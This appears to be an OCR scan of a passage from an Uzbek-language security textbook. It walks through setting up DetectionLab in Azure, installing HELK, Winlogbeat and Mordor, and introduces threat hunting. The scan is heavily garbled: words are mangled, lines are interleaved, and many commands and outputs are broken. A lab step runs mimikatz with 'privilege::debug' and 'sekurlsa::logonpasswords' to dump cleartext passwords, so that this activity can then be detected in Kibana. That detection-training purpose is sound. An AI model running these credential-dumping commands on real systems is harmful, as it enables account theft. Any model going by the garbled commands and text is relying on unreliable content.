lp_u?utehs:l 0*Zgaruvehic: - Yordamigyg _ -
yangilashni u ISIni, shyp; thrirlagh m : q qaram’-.
yang MUMaslik pap. « ningdek, ymy, umkin. Shungs vini

g'a D‘Zgﬂ.ﬂ]rnladi: Agﬂr uSh s umwu-‘:"&r“ni ;:"‘F Vﬂ1 Ehﬂxﬂi}' kﬂlit jiit}fl_ﬂﬁl?l_lmri..

rish huquai maviud gy " POSaich oty S20i18aN keygen chidish o

ro‘yxatd z'_h Yuborilsa, laboratoriyalar® unm”
agi [p laboratoriyalarga kirish

kin bo'ladi. fagat ¢

I‘E}

Exlatma. Aear kelajakda IP ozgartivilsa. Azure partaliea o'tish, tepadan
Towrmeony xavisiziigi gurulibari ni gidirish. xavisizlik guruhini topish va Kirish go-

|'|.-rI| Hitrt hii 1 -'rf-i I -'rl'” ..i ”. il .—__'-:H"I"ll:'llf.“llll ~On

Keyin Linux tizimining o*lchamini o*zgartirish uchun main.tf faylini tahrir-
lash kerak (keyingi bosgichlarni bajarish uchun). Quyidagi bo*lim uchun main.tf

faylini gidirish va oxirgi qator ko‘rsatilganidek D1 dan D2 ga o*zgartirilganligiga

ishonch hosil gilish zarur:

# Linnx 1M

resource wa=urerm virtual_machines «loggers |
name = wloggers
l"“!‘.'{f”‘ﬁ” Ve J'l.:l,’,'f‘ﬂ‘]]'
resonree :F:J"HHP_ name
network interface ids = [a
vm size = wStandard D2 _v2»

- gIrerm_resonree _group.detectionlab.name
urerm nenwork_interface. logger-nic.id]

Endi agar hali mavjud bo‘lmasa, Azure hisobini suzlash_amalga nshiﬁlaf:li.
Agar allaqaulmn bepul hisob gaydnomsi mavjud bo‘lsa }_”:"k' ro‘yxatdan “il's!‘
paytida so‘ralsa, “Yo*l-yo‘lakay to‘lash” (Pay As Yo Ceyii raulesh KEmk Yo adi,
chunki bu parameter laboratoriya uchun CPU k:»'utasim k'.rﬁmh n‘-aqsgc_hdﬂ talial::
qilinadi va buning uchun kerakli hajm va mashma%ar sonini ishga mihmﬂhgﬁ i
kon beradi. M.i.-;,f ta"kidlanganidek, birinchi oyda fovdalanish uchur_1 200 doilgrhk
kredit olish mumkin. Agar ulardan ru}-dalanilma}fo_tgandn lai?aramrzyﬂl_ar ynp:]rsa.
200 dollarlik kredit uchun foydalanish zarur hn*lar:il. E;'»f:ia Iutt§11 kerakki, yuqu_nrda
aytib o‘tilganidek, 200 dollarlik kreditdan tashgari xarajat haqgida xabardor bo’lish

. R ish kerak.

va shunga mos ravishda uni kuzatib borish ¥ , : i
D.-"SQAT Agar “Yo'l-yo*lakay to‘lash” (Pay As{. You _Gﬂ}l'tl_ iﬂ“klﬁhFlt unu-

Bt 1{1ki"keyinrﬂq quyidagi xatoga yo'l qo'yilsa, hisob-kitobga Kirish va

“Borg . ,‘}' h ‘lash”ga yunﬁiiaﬁh kerak bo'ladi: Error: compuite. VirtualMa-
ganingizcha [0 1451 = = sending request: StatusCode=0 — Origi-

chinesCli, Update: Failure : i
esClient#CreateOrUp o returned an error Status=<nil> Code="0-

nal Error: wost/azure: Servi :
e (1; ”":,ﬂ“:::f. Message= “Operation could not be completed as it results
U S G yes quota. Additional details... Kvola

: ; jonal Cc
in exceeding approved Total Regio ; ! P o T—
E|1Ek|ﬂxflarié]1afq ': da batafsil ma’lumotni htlps.ﬁdﬂcs.mu.rumﬁ‘came’en us/azure/

ifasi *gish mumkin™.
3 rtability/regional-qu ta-requests SalllfaSItf!an f|l:“, ur 1
azura—::i;?:d ah-lhlf::;g;?;:; :{a;dnumsi bilan autentifikatsiya qilish uchun quyi-
- angi Az

dagi buyrug bajariladi, bu Azure'da qutentifikatsiya qilish uchun veb-saytni ishga
21 buyruq bajariladi, :

tushiradi:

% az login

‘!‘13




So'ng quyida ko‘rsatilganidek, Logger (Linux) tiziminni boshqarish uchun
Terraform tomonidan ishlatilishi mumkin bo‘lgan SSH kaliti yaratiladi. Yangi ka-
lit parolni berish zarur,

% ssh-keygen -t rsa -f ~/ ssh/id logger

_Keyin kait “‘“‘,"’,"‘3"”“"“ saqlanadi (quydagilarni esda tutish kerak: Terraform
kalitga parolsiz kirishi kerak va ssh-agent buni amalga oshiradi):

% ssh-agent
% ssh-add ~/ ssh/id logeer

Nihoyat, quyidagi

kod : - : . p—
tushirish mumkin. DA laboratoriyalarni buyruq satridan ishg?

Estatma. Ushbu buyeugni bajoris, teln

' » o Vil " v 7y IIl Wi ||.|I|r|l'
sinering wehun wni tshea 'r”-""r-'”".:t.'udgm $0'ni tanaf el Ketadi thir nechnd
L 2] & TEcif s h”

i Bires

lish ravsiva gifinadi
%o terraform apply ~tito-approve

{zurerm_resonrce gm;.-p,dt-;ﬂ-“'m, lah: Creq tin

CZHrErin_resource group.detectionigh- Cre vt
subscriptions/6c33e | 97-8Bbf-49h ':T.,&j.flij' ¥
Demc:f'nn.[uh-rw'rqu'mj ~
azurerm_public_ip. wef-publ icip: Creatin
azurerm_public ip.de-publicip: Crearin -H )
azurerm_public ip.logger-public i
azurerm_virtual_network de
azurerm_public p,
random_id random
Terraced

. ;'mu complete after |5 fid=
-u.irr'r}.‘:ﬂﬂj-'re.u.'uurw( SOlpS

"ip: Creating,

J'E'{'FF-‘JHI'.H'FH:I'EF!'.‘ k:

Winll0-publicip: Cremg: i
P Creat

Id: Creating, . i

Creating,

Endi IP manzillarin ko*r:

arini ko'rish uchun Sk!'il!ﬂarning et nkin:
% terraform ot L
ata_ur| = hupx:f’-"ﬁ?.l‘:’ﬁ_!?.HJ
de_public_ip = #32.250.56. 150,
fleet_url = https:1/52 250 56.143.
Buacamole_url = hyp, :
logger_public_ip

8412

1132.250.56.14
x L .I ]
=#52.250.55. 143, -Sﬂaﬂ’guﬂfanmfv

region = wwestus2y
splunk_url = hups://52 250

e SAL 56, 147.
'uefuc;rﬂpfarﬂ_nr.f = hitps://s 2_};;?;- :ﬂﬂa
wef public_ip = «32.250.17.17 'h; .14 3:999¢

winl0_public_ip = «52.250.5 13
+ . M

e 8

Jarayon deyarli tugatildi! WEF, Winl10 va DC’'ni ta'minlashni yakunlash ke-
rak. Buning uchun avval Ansible katalogiga o*tish zarur:

% od .. Ansible

Endi Terraform chigish buyrug'idan public_ip giymatlaridan foydalanib; hae
bir xostnine x.x.x.x 1P giymatlarini yangilash uchun mubharrir I:ulzlm mren.rmjr.yn:.f

ular muhim hisoblanadi.
Keyindnsibleo'yin kitobini
macOS dagi atoliklarni hal gilish uc

ishea tushiriladi, avval Ansible yordamida
hun muhit o*zgaruvchisi o‘matiladi:

P g TH
o export no_proxy:

9% ansible-playbook -v detectionlab.yml

8.3: Laboratoriya bilan ishlash ‘ .

8.1-laboratoriyaning bir qismi sifatida .\.L::-stingd.a yﬂkl'g.z'l:?l?ﬂz:z?,}: :;LT,
bulutda o*rnatilgan bo‘lsa ham, endi mavijud Tosna;n:nli E;r;“.;ri ,adaj:kclm:;L
o hﬂsmﬁuﬁh e A L']RL l“ﬂﬂzmai w.nalabumm?'iyalar uchun
gan, Laboratoriya ashoblari va mahalliy xostga ns?; ang;ﬂnlah i
Wil e oy hHIJS:{f’“"'-Ww p ﬁlanﬁ:;n laboratoriyalar
lab.png manzilida topish mumkin. {I?’Ialmlkh?f ms&ge? :ilscr:;umﬁinlmini i
uchun ushbu vositalarga fagat xostning © zidan Ll]r'm[;'miniamd{} g
muhim, chunki fagat xost uchun Iuns‘h ethl qu}-l'.trkl."uﬁgﬂgef s i
boshga vositalarni ]]tlp5:f"-""n\"ﬂﬂ'u.'.ﬂt}lﬂﬂlﬂl‘lmh,l‘lﬂh‘ni. g

mumkin,

Laboratoriya ishi

. .5 .r."a.'.l'qul"n'f.' hivi oxilib :f”f.”; va bu
et fahoraloriyv
il tnl\lil.'lulllq.”f‘i‘l

Es . Agar xosi : ki
latma. Ag e i3 hinchaki

Vietwal Box bilan bog lig bt
hm'rm; satridlan “vagrant FCEEs
Vopish mmkin. Sinov Jarayoni
lab gavia viklash bivrig i ufff_*r"l"ll_"”-"f””

d“l‘f!}j:nf’;:}-f §0 "N i:'!.‘.ff"f”” skrip vl

Bani gavia ishga rishiradt,

wOuvvani o 'chirish “ni tanlab,

goerni ishga mshivish orgali

doad” [d¢ wef|winl los
fa xost maiburan His 0°ls |
VM hagida varolik beradi. Birog bir necha

ishda qavia wlanib, virtwal mashi-

hirilaan bo'lsa ham. dasi-

ik

iyani tirish

oratoriyani kengay . R

i i [;ﬂ:n sarur bo*ladigan vc:snalanjmg ko F‘L.‘h!hgl-b;!a?

bi i IS:"ﬂS‘I::gli] bo*limlarda tasvirlanganidek, bir nechtasini qo*shish
Irga keladi, ammo key!

ko*rib chigiladi.
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HELK
ELK’ning Hunting versiyasi HELK Roberto Rodriges tomonidan ishlab
chigilgan. Roberto va uning ukasi Xose o'z hayotlarini xavfsizlik bo*yicha tad-
qiqotlarga sarfladilar va sohada haqiqatan ham o*zgarishlar kiritishgan. HELK
uchun asosiy sayt hltps:a’fgithub.cnm:’CthrWardﬂng ELK.

Laboratoriya ishi
HELK'ni Logger (Linux) termi
bulutga asoslangan bo‘lsa, quyidagi

8.4: HELK vositasini o‘rnatish

nalidan o‘matish mumkin. Agar laboratoriya
buyruqdan foydalanish mumkin:
% ssh -i

~\ssh/id logger vagrani@(logger public ip address above

Aksincha, agar laboratoriya mahallj

¥ xostda o‘matilgan bo‘lsa, SSH qobig*i-
ga Vagrant orqali kirish mumkin (Powe

rShell administratordan ):

PS C:'DetectionLab\ Vagrant> vagrant ssh logger

Keyin har qanday holatda, HELK 'ni quyidagicha o‘rnatish mumkin:

vagrant@logger:~$ git clone Itps:
Cloning imto 'HELK" .
remote: Enumerating objects: 10060, done,

remote: Total 10060 (delta 0), reused o (delta 0), pack-reused 10060

Receiving objects: 100% (10060/10060), 852 58 MiB | 43.54 MiB/s. done.
Resolving deltas: 1062 (6925/6925), done. '
vagrant@logger:~§ cd HELK /docker
vagrami@logger:~ HELEK), docker$ |5
helk-base helk-logstash

wtruncated for breviry,,.
‘.::e:::'-i:::anu-!mmimk-ﬂnu{l':.'.‘s—u.‘er:—.*m.n'{'. Yl helk_senp Jirewall sh
reik-kibana-note m.r.l:-ann.{l-su's—basic.wm’ hred e.s "
helk-ksqf Ymi helk_update.sh

Hgithub, com/Cyb3rWardg/HELK aif

Bulutga asoslangan laboratoriyalar ychy
Xostga asoslangan laboratoriyalarda avval

ko*rish, uni yozib olis}, va IP so‘ralganda s

n IP aviomatik ravishda o*rnatiladi.
eth1 uchun IP*ning borligini tekshirib
kriptda foydalanish kerak bo*ladi:
vagrant@logger .. /jy ELK/dockers§ if;

ethl: flags=4163<pp aﬂmﬂms'r.?t:ﬁrﬂm

; .’NG.;HU.-'.T."C 57> I
o / miu 1500
inet 192 168.38 105 netmask 255,255.255.0 broadeagt 197 168.38.255

| %}

Shundan so*ng, HELK ni o‘rnatish jarayoni quyidagicha amalga oshiriladi:

vagranti logger:~ HELK dockers sudo ./helk_install.sh

ERERhEE
-'*.,.....‘.-‘**‘.-"‘.--gosttlfttttl--r

** HELK - THE HUNTING ELK **
LE S 1 ] . "
=* Author; Roberto Rodriguez r‘l:’_r?_"(ybjrlkl;::]{{:f"
** HELK build version; v0.1.9-alphal 008202
** HELK ELK version: 7.6.2 **
£ 3 na
:::;.::‘:':T-:.,Ef:t:f:ig,g’.;-,*.tt.lil#tiltll*i!#tliﬁ :
S ; &
[HELK-INSTALLATION-INFO, ]I I:" i:!':;‘s !.;’ns:‘:}:i :::;: f-ﬁ";:; il
KLV ! LINFO] Availabie | Y2 0240 o
ﬁ:ﬁ:i:;;:ii :;::g:'::\i:ﬂj: You ‘re using whuntu version hionic

aREREERE
LI L L]

' TEL L A madbEdeed (TR

EhbkekshankhEdd

; “halees * y

" HELK - Docker Compose BUITCLIIR, ovevensusasesss
L I T T T TR L] s
L KAFKA +~ KSOL + E:E.i + -:g;t:‘:: . ELASTALERT N
2. KAFKA + KSQL + ELK + NGINX* & T o

CAFKA + KSQL + ELK « NGINX + SPA = = e + ELASTALERT
i :ggi i+ NGINX + SPARK + JUPYTER + ELAS
1. KAFKA + K. +L E

1 ; ida ko'rsatilga-
: lingan bo'lsa, quyida S
nnamr-lgﬂh:?;:]h{gqu; variantlar bilan tajriba o*tka-
Kﬂl?;}rda“' lekin bu bob uchun kerak emas.

Agar avvalgi bulut ko'rsa
nidek, 2-variantni tanlash‘ zar;.lr. e
Zish mumkin; boshga variantlar

L’F?Ff";ff’s‘;}?‘i‘; frfi;}ﬁi:i*r} ) Ser HELK IP. Default value
192.168.38.105 ] HELK
[HELK-INSTALLATION-INF o if,'t.: i
[HELK-INSTALLATION-INFO] s | PR
and store it sec‘nf"l"{l'ﬁ’h'm"frf’ Hs:;;-; HELK Kibana {'”T‘L}:“."._.r;,.n{- humting
[HELK-INSTALLATION-INFO/ Verify HELK Kibana Ul Pas:

[HELK-INSTALLATION-INFOT Yeriby o P v

i lling : .
el U.."I-"'f-""Fﬂj [nsi ke via Cconve
[HELK-INSTALLATI :}ET).—;.-_‘F" 5 running.

is vour current IP:

= ] r]{
rt _ﬂ” o 9.... !liéa.i(! 1: c
‘;"I-’kc Sl ‘:- i {n'i“f‘ ac st -|"I !hﬂ"n Pﬂ.i.'-"l-l‘l?.l"ﬂr

sience Serip.

LNFO] Installing
[HELK-INSTALLATION-IN r_ﬂ;; g

sk LINF g
[HELK-INSTALLATION-INFO/ Z%0 e vomni
J,IIELK_L\.S?:_ILLJTFU_\-J;"J Q] De ressankunereaRIRESS ssabsEasana

*w”'"“t‘:ﬂ'{"rl’ﬁ"‘ hrevity... “*‘*‘*‘.--1#** qu.iSr;LLEH SLC{_"I:SSFLIL}'
L : i

AL L T i T T L b . HELK A NG SETTINGS TO INTERACT
) .r‘H.’:‘LK-m‘SI-#L.’,.JTIG.-\'-FF;';{;FSE CsE THE FOL LOWH
** [HELK-INSTALLATION-E

Wir THE ,“-Hnuﬂn-*"’"“"“ﬂr“.
HELK “**.*.rviismtr
T L L L L L ﬁ.'i‘,j;ﬁ'..r'ﬂj

921
HELK KIBANA URL: Iu'rp;:f 19
HELK KIBANA USER: he

. ng
HELK KIBANA PASSIWORD. [t

197




HELK ZOOKEEPER: 192.168.38. 105213
HELK KSQL SERVER: 192.168.38,105-5085
IT IS HUNTING SEASON111 o
You can stop all the HELK

docker contai,
ainers b
docker-compose -f helk-kibang-

W running the following commeand: [+ ] sudo

anal Ir.ﬂ.'r-m’fr.f-b;\!.!fn‘.rq 'ml stop

Endi brauzerni ishga tushirish
- - ‘II i ‘ . i
dingi kodda ko‘rsatilgan [p (8 I;Ef{t:;:{::dnaj konsoliga kirish zarur, ol-

yoki bulutdagi : . ahalliy xostd ilgan bo‘lsa)
bu bD'limdagx:;:;miﬁI;:ﬁ;:n[ﬁEzr bulutdan FnydaI:niI;;mi;:-im;::c*?:a]_{Ush-

a : B : :
http&.-"fl 92. | 68.3 BI [}5 [P da" ]“u}rdmag:i;:;!}'adan rﬂ}'dﬁlﬂnﬂd}'ulganhgl Subﬂbll

B —

: ‘I Wﬂbﬂlly
_‘_-_-_-_‘_‘__'_'__'_‘_‘—'———-_ [i' Security

Lﬂhnratnriya ishi 8.5, wi

Logstash’ga va oldine: Winlo
b gbe Mot .
larni olish uchun beg {?ﬁlnzasmda ko‘rsarite.. ¢ VOSitasini o*rnatish

sati
<ot s fi 2an Kibana o - J-
tilishi kerak. Mazkyr kitobdg !1ebcat, Packethe, wﬂna asboblar paneliga _Tu:“ﬂ-'f i
&' Magsadlar yop . MOgbeat va boshgqalar) o'

qizigish bildirilad; shunj
, i ASps i ”
langan laboratori Mg uchup Winlg 'dsm‘m Windows m}”j“'”a”ﬂ&ﬂ

¥a uchunp 3 i . s
Zuacamole) yokj bulut | E(Juac.am € terming); n '“}fdalaniladi. Xostga as0s
ulanish va hitps: vy efacrs Y3 o (http://19 268 38, 105:8087
at’ni }“Uklﬂh olib n‘mati]adi lcqcﬂfdﬂ“rnIGadybea E"..] r{)}rdaIanib‘ WEF Servq,;’,'ng:l‘j
w'“'“EbtaLx,zip fayli ¢\pro wm]ﬂgb‘:""lﬂﬂylidun winlogb®

* T

Jildning nomi ¢\pro :
; “Programfileg\u: €5 . :
flf €yinushbu WEF serv:jw’"'“ cat gifie - ~Vdan ochiladi va ochilmig®”
ramfiles\winlo e o Drag, 28artirilad;
gbeat jildidag; Standgy :rm? QUyidag; rayla::;h“a 4 va uni APIOE
0ghea i va uni ¢
M fayliga saglanadi:

‘ Kq.eyirf administrator satid
o'matiladi va ishga tushirijags. f“ﬁ’dalangan

I‘lﬂ}

Hﬁvﬁfn!afmchﬂfRI|1rirtf ngbeat " il

e
holda PowerShell’dan xizm?

PS C: Windows System32> cd «C:\Program Files\Winlogbeat»

PS C: Program Files\ Winlogbear> powershell exe -ExecutionPolicy UnRestricted |

-File
install-service-winlogheat psl
Start-Service winlogbeat

Shundan so*ngxizmatlar panelini
mat ishlayotganiga ishonch hosil gilish zarur.

tekshirish va quyida ko'rsatilganidek, xiz-

2 u | i
e ——
v fesh | ;“m £ e i
- =
Fowtre
T
o arida o 1 Wi Updiile Tnables thi

WinHTTE Wil Prasy Auta

Fotemded © Sandied

chap 10 /
da ko'rsatilganidek,

Kibana asboblar paneliga ‘fl“ylih',
bosilsg (pastdan ikkinchi hE|IgI}- quyl
ma’lumotlarni ko*rish mumkin.

monda joylashgan Discover belgisi

winlogbeat'dan yangi
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Laboratoriya ishi 8.6:

Indeks namunalari Kibana tomonidan Elastic

kirish uchun ishlatiladi. U ma’lumotlar guruhlarini

qanday aniqlanishini (xususiyatlar orqali) belgilaydi, Indeks namunalarini qanday

yaratishni va keyin asosiy so‘rovlar uchun Kibana'dan qanday foydalanishni ko*r-
satib o'tiladi.

Indeks

deks namunalarini yaratish foydali bo*ladi.

¢hap burchakgygi Kibana logotipini tanlash.
arl tanlanggj. :

Ko'pincha Elasticsearch’da 0'z in
Bosh sahifaga o'tish uchun yugori
biroz pastga tushib Indeks namuna)

Z B ——

Visualize and Expiore Data

Manage ang Adminisye

F the Elastic Stack
= ARM £l Canvas

“oatane == Console £ Indox

Pallerns

So'ng mavjud jurna) ma
tarigasida “log™ bi] ash orga); o ana g
kﬂ‘:lﬂﬂli]ﬂdi [ﬁdeksan bGShIaFgan bﬂl‘t‘hﬂ .l.lrna ;Iah 172 qadam bajarlladr. Mllszl

e .S namu‘nam Maydonjga laoe s lng as0sly indeksini yaratis
o'tish (Next Step) tugmasi bosilad; 2% nj kiritilag; va keyingi qadamga

nbalaridq filt

Create index patiem

Steep | of 2: Define index patiem

E Hibaing

‘tkazish kerakligi-
) ; . donda o'tkazish kerak
" % atea asuslﬂngﬂn tlltrlﬂrﬁl qﬂ;;'ﬂ-i. mﬂlirun @-mneﬂmﬂp'ﬁi tanlash
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; idiruvlarni
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Winl0 xostida Explorer’ni ochish va
rant\tools jildiga o‘tiladi;

quyida ko‘rsatilganidek, ¢:\users\vag-

» ] E _-_-_—-_-_—_ P S v
e e
(LT Wi
& Nndows 10 1 Mot )

Tt iy

& mimiicatz eee
P A
T

mimikatz.exe fayli ikki marta bosilsa, ushby
larning parollarini ochiq matnda ko*r
quyidagi buyruglar kiritiladi:

dastur tizimdagi foydalanuvchi-

satish imkonini berad;. Mimikatz konsolida

log
privilege: :debug
sekurlsa: logonpasswords

A
-—

@ momaatr 120 ol 1og e

FEsan mimikaly 2.2.8 (old) SIS Myy 3o
BE R, UK La Vie, A LMoot ;m_“; LR VEFT
B8/ )8R 7T Benjanin DELPY entithivi' ( b

B\ o » Wetpssd fhlag, gent § il c;.;.,""*m"“""-"- ]

R @ ER° Vintent LE Toux " ﬂ::h“;
seer’ » WEtps: /ipingcastle. con ""P'r'r:“-:;l::.ﬁm”"“ j
DEOA ¢ o sray
mimikat: # log

Puing “mimikatz log® for logfile ; o

mimikats ® privilege::debug |
Frivilege "1 oK

FLs R topish uchun
Endi bundan ham yaxshiroq ishlarni bajarish, ya m shu tarzda top
- 1 £ Nk

| ydalanish mumkin. S
Jumaldagi maydonlardan m}'da““mhqﬂ:ﬁ e:pmimikatz.exen va event_id:1 Kiriti-
*t i ess. :
Yugori qidiruv maydoniga proc

: it ks etishi kerak. Ekranning
: - o4 Xuddi shu natijalar a e 2
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= - dagi tanloviar e . 3

chs ida iurnallar® yorlig's yomeas: = Kibana va Elasticsear
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chigiladi.

Laboratoriya ishi E.;:a ::g:;?l:zan. Mordor — bu APT
" “ =
; Rodriges tomo
Mordor Roberto va X0s¢

0 hll I' L '| IIP ini h‘ ﬂh Dlish

TH kin. Uni o‘matish
' ichni mashq qilish mumAln £,
Va laboratorida haqiqiy APT’lari E}PI?:;? hmuhda u bilan ishlash jarayon ko'rsa-
; sa Keyins

Shu laboratoriya keltirib o'tiladi v
tiladj.

Kafkacat bog'ligligidan

ub.com/OTRF/mordor) yukla

‘plamini (https://git-
: *lumotlar to*plamini { ‘
bestitéh, V0 d:a:l?fh uchun GitHub’dagi ko‘rsatma-
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Endi Kibana veb-sahifasig,

f.1) -
3-2ubunti
qay
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_ Mordor ma’lumotlar to*plamini laboratoriya muhitida yuklab olish va o*ma-
tish (Logger xosti):

vagrant@logger:~$ git clone hitps:
Cloning imto “mordor ...

remate: Enumerating objects: 13577, done

remate: Counting objects: 100% (267826 78). done.
remote: Compressing objects: 100% (7187 38): dlouse.
remote: Total 13577 (delta 2079), reused 2436 fedelr,
Receiving objects: 100% (13577/13577), 333 00 Mi
Resolving deltas: 100%, (9428/9428), dane,
Checking ot files: 100% (647/647), done
vagrani(i/logger:~§ cd mardor/datasers, componnd ape 21
vagrani@logger:~/mordor/datasets/con 5 i

. ipoundiang 2 -
README md ”p!"?g_Ftlutﬁ—d'ﬂl-llI'Ir__’"n""ﬂ',r'_:f;j Fr‘;!; i:‘j‘{i 15 Is

“github.com Cyvb3rWardlg mordor gir

1 1884), pack-reused 10899
B | 33.55 MiB's. done.
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Building .rfepem.’mqr free

Reading state information. Done
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Setting up unzip (6, 0-2 Lubungy | ;;,
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B_Iacksmilh (cloud-based lab templates) github.com/OTRF/Blacksmith
SimuLand (more cloud-based lab templates) github.com/OTRF/simuland
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9-BOB. TAHDIDLARNI ANIQLASH SOHASIGA

KIRISH

Ushbu bobda quyidagi mavzular yoritiladi:

* Tahdidlarni aniqlash asoslari - irish
* OSSIM yordamida ma’'lumotlar manbalarini normallashtiris

* OSSEM yordamida ma’lumotlarga asoslanglan a:;qiivlar

* Mitre ATT&CK yordamida gipoteZaga asoslang

* Mordor Loyihasi e

* Tahdidlarni aniglash uchun 4o [lanm

aniglash hujumchilar allagachon tar-

k degan taxminga asoslanadi. Bu
a ishlashi hamda

imlar qanday normal 1s

i Ti:;b q?ladignn mavzu. Shu sahfahdgn

b ho'Imaydi. Shu bilan birga, biz siz-

hingiz mumkin bo‘lgan asosiy

arakat gilamiz.

7 Tahdidlarni

T PR ima
Tahdidlarni aniglash ni borish kera

Moqda ekanligi va ularni I»:uzali_h
(1) tajovuzkorlar ganday ishlashi <8
Ilujllmga uchrashi h"uﬁdﬂ jllda Rﬂtf._ﬂ b Irili
Ushbu mavzuni mazkur bobda lﬂ‘l":l_ y ?-g‘lantirit‘-
B2 vaqt o'tishi bilan bilimlaring‘lml n*;:r cj:ishgﬁh
Wshunchalar hagida umumiy ma lumot
Jash asoslari _ ' -
g g ol
T - M . - . v 5
shi 'Iahdldmrm ﬂmq]asn;—'h':r[a ir. Yan! wvr?z:l:azl:;;il gisqartirishdir
ﬂ*:]hll la’'minlovchi uz;;";“']jimchining onlayn hﬁbltsash]aSh s el o
{uiy angE}n va magsa so'ng, uni mrmnqt} n Gh AT ko' rish mumkin.
Si}ilmchl anlqlangﬂndaﬂéis : hodisalargd _'r:h.rﬁ.mnb perish bilan teng emas,
arni tiklash uchun 1€ X ob | = sy
Shy bilan h'afh Ltahc]id]ﬂmi anigla i bo'libs ko*pincha G.LS.ha'.Sh maldka.
ol irga, 12 «zaro bog L i Biroq buni doimiy ideal holda
i A dﬂ iladi. B! ruhi mavjud. Cheklangan
ar . . : " : :
" g mutamsf:;a (ahdidlarm! “"'_IEShifri aniglanganidan so'ng ho-
Vishda bajaradigan alohida & chi. tuddi shunday, tahdid
Moliyaviy resurslarga ega S0 pi mumkin-

: . : ineg ko‘nikmalari va

ﬁrsaga javob berish t‘unksr}?’ﬂlﬂ:ga, S‘ail:n;cfetralsinn o

l‘f*{ﬁlsi ham penetratsion §ino o uvlari hrsl e dan oldin asetiily uohun
AYribas; ' nabinsh bo'lsa-da, Y‘L hilar ula{nl 10p! Tahdidlarni aniglovchi ti-
:aster} zaifliklarni aniglab, h;uish ysullarin! iz a:qii odi va ragibning dastlabki

zi::mqqﬂ kirish va ::I1et|?1'f'-‘r:7':wz ganini Lash va tarmodda kirganidan ke-
¥ hl-l?.llishning allagacho ning jzlarinl aniq

fish usyl; balki U

L. g,a Emﬂﬁe - tad]

In lﬂpishga ko*proq e'tibor qard

pdidlarni aniqla:
s armoqda mavjud
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Tahdidlarn;
Tahdid ovining bir nechta turlari ma
— Intellektual ma’lumotlarga asps]

aniglash turlari
vjud, jumladan:

angan ov (Intel-Driven Hunts);
Data-driven hunts ):

Intellek

Intellektual yondashyy

kiber tahdidlar va kumpr&metalsi}ra ko‘rsatkich
oshiriladi. Masalan, fay]

tual ma‘lumulinrga asoslangan ov

£a asoslangan gy ochiq va yopiq manbalardan olingan

o lari ma’lumotlari asosida amalga
Xeshining buziljgh; ko'rsatkichi bo*lishi mumkin va bu

fayIning butun muhitda mavjudligini tekshiri s . .
—— inishga arzivdi. ashgari, muay
yan tahdid |shl|mkchi!arining taktikasi, texnik. S

g s 2 451 va protseduralari (TTP) har gan-

day tahdid ovchisj uchun Qizigish uye®arad: . Jar
. = J }"E utﬂdl e T va ula

tomonidan taqdim etilgan ma'lumotjarg, ’ Va ular razvedka hisobotlari

: : -lez i R : hda bu
turdagi ov hagida to‘xtalih o'tilmayd, chu;kw uchraydi. Birog ushbu bo

; i Qo' llan:laci: il boshqa
murakkab ssenariylardq qo*llanilad;, 4o llaniladigan texnikalar
Ma’!umuu
3 arga asgg)
Ma Iumotlarga asoslangan 1Zlanish]q, stangan oy

hi sticsearch kabi tahli
larni tekshirishdir Bund g "T’ Signallarp; aniglash uchun ma'lumot
hodi ' ) . ) laShqﬂrI, 3H'Hna\r' P , | ri vi
odisalarni boshqarish (SIEM) Qurilmac: Y Xavfsizlik ma’lumotla
uchun gimmatli bogh) aiig

Jar
anish Nuqtasidir, p; : ma“llmmlarga asoslangan 0% Iﬂs
ilg*or SIEM imkoniyaglarini ham oryd, 104 tahdidlarn; aniqlovchi tizim cnﬁ
xil ma’lumiot manbalarida, gp, il qoldirish; Mumkin, aynigsa, ular tuf

tashqi integratsiyalarn; amalgg oshirs :"* l"?-i!magan ma’lumotlarda ichki V¥
lari uchun murakkap b0*lishi mumt: Oshla

8anda. By ko*pgina SIEM tizim"”
o . pgina & "
gan ovlar ko'rib chigilad; mkin. Ushby bobdg ma’lumotlarga asoslan
—_ ipote
Birinchi bobdg aytilganide) P:iﬂga a.vinrslangan oy
ragibning TTPlari joylq e

: S . seiddl
S shgan. Ry ibn; 19 p”amldasming yugori gism!
vazifadir. Yaxshi Yangilik Shuﬂda}:: l'z::a'h] Arakatlarin; aniglash eng murakk?
¥ e ’ Iblar ; e ol
|35h;ﬁ:] va aynan S!‘HJ takror]asp, bizga yerr 1 Dergan narsani tez~tczrﬂ".1‘lr h
kerakligi hagida ko rSatma bergd;. MIT U ragiblay guruhida nimani 1212

hur (ommaviy) TTF’iaming t0* plagy; i: K freymy \i kotplab mash~
ilg*or tahdid guruhlari (APT) 1diy Vag ymvorki ko'p

- iize: Onidap, 4, le; llan birga, u ko*pincha ma‘lu_':
lash uchun ishlatiladi. Ushpy mz“mﬂdan “I8ilangy, turg*un tahdidlarni tasv!
m

I : n-
“nba sifatiqy qo*llashimiz, taxm
208 >

A

o o i hagidagi gipotezani shakl-

lardan foydalanib, tarmoqdagi mq’b"l:ga::ﬁk:‘:::?adqumlti-harakami kuzatish
. - s nda gipﬂtez . A e ﬁli, 50'ne-

lantirish mum Iu_nl. HI:;; ﬁanbzlaﬁgﬂ ega ekanligimizni ta m}::-;;:?h}r::;i“ ﬂrqfﬁ

s ki l:.nmuhilgda xatti-harakatni izlash uchunﬁlaharakmlar sodir bo'l-

::kz::: :Jiqrin:;ﬁ.,km Va nihoyat, kelajakda E““i‘:i;;:‘ Shunday gilib, MITRE
s . : tish m - ;

R irish uchun eslatmalar yara caritasini yaratish mum-
gtm-:_la L‘.:Euhla‘n mfzh I.::mbi}' jihatdan ishlash, Qam_ﬂ?‘*’k}‘;‘;izcha i‘rta qismidan
§r1 ijK dglrfls_].r?dagi asosiy tushunchalardan b";‘ke}ishdﬂﬂ boshlaniladi. U
b:L hhhu* ?bqu quiulir chunki odatda murf::S‘Lg la yo'nalishda ham ishlash
b shlnngamm. l.m10 r;ing o' riligi aniglansa, ik auhi uchun kirish, xavfning

ida, b ol 1 rakalhqiiish va “pemlsmn'? ini topish va bu bo*shligni
s oudimge mi h hamda (2) uzilish ma"hjlurdagi ov turi keyinchalik
maksj arajasini lopis s ns
}’Da;iil?.:]ﬂlhi:::ffg;ﬂa qarab harakat gilish- A8

sh ue g

ushbu bobda ko*rib chigiladi.

aniglash jaray_ﬂ; i
i idagicha: .
= q: 2331 kamchiliklarni baholash

Tahdidlarni
. v ish jaray
Tahdidlarni ovlashning asosty Iitrilarizatsi}f
I. Ma’lumotlar ﬂm"h“i?ﬂm ]-:;rakatiar.
Va ularni bartaraf etish boyicha Jarini aniglash. larga ega ekanligingizga
turing va gidiruv mezon : ma’lumotlarg
